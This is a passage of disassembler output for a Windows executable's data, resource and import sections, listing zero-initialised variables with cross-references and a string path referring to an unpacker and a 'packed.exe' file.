dword_4CAF68	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAF74	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAF80	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAF8C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFA4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFB4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFC4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFC8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CAFE4	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB000	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB00C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB010	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB014	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB018	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB020	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB024	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB030	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB03C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB044	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB048	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB04C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB050	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB054	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB058	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB05C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB060	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB064	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB06C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB074	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB078	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB080	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB088	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB090	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB094	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB098	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB09C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0A4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0C0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0C4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0C0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD0D8	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD0DC	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD0E0	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD0E8	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD168	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD16C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD170	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD178	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD17C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD280	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD384	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD388	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD38C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD390	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD410	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD414	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD418	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD420	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD424	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD528	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD62C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD630	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD634	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD638	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6B8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6C0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6C8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6CC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD954	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA58	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA60	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA64	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA68	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDA74	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDA7C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDA80	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDA84	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDC8C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDC94	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDC9C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCA4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCB0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCB4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCBC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCC4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCC8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDCD8	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDCE0	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE108	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE728	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEB9C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2B9C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BA0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BA8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2BE0	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2DE0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D35E0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3DE0	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3DE4	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3DE8	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3DEC	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3DF0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D3FF0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D3FF8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D3FFC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4000	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4004	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4008	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D400C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4014	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 4Eh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437838o
		dd 30h dup(0)
dword_4D4214	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DA728	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA72C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA930	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA98C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DAB8C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DAB90	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DABEC	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DADEC	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DADF0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DAFF0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB1F4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB1F8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB1FC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB200	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB204	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB238	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB240	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB278	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB27C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB280	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB294	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB298	dd 2430B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2A0	dd 2430B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2A4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2A8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2B0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2B8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2BC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2C0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2C4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2CC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB2D0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB2D8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB2DA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB2DE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB2E0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB2E2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB2E8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB2F0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB2F8	dd 0			; DATA XREF: sub_41F312r
dword_4DB2FC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB300	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB304	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB30C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB310	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB314	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB318	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB31C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB320	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB324	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB328	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB32C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB334	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB344	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB34C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB350	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2B0o
		align 10h
		dd 3Ah dup(0)
dword_4DB458	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB45C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB460	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB464	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB468	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB470	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB472	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB474	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB490	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB494	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB498	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB49C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4A0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4A8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4B0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4B4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB4F4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB4F6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB4F8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB4FA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB4FC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB4FE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB500	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB502	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB504	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB508	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB548	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB54A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB54C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB54E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB550	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB552	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB554	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB556	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB558	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB55C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB560	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB568	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB56C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB570	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB574	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB578	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB57C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB580	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB588	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB58C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB590	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB594	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB598	dd 2431140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DB5A0	dd 400h	dup(0)		; DATA XREF: ___:off_43C9E8o
					; ___:0043C9F0o
dword_4DC5A0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC5C0	dd 2430650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC5C4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC6C0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC6C4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC6D0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC6DC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC6E0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC7E0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC7E1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC8E4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC8E8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC8EC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC8F0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC8F8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC8FC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC900	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC904	dd 2430000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC908	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC90C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC910	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC918	dd 2430758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC91C	dd 2430758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1B8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwľ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
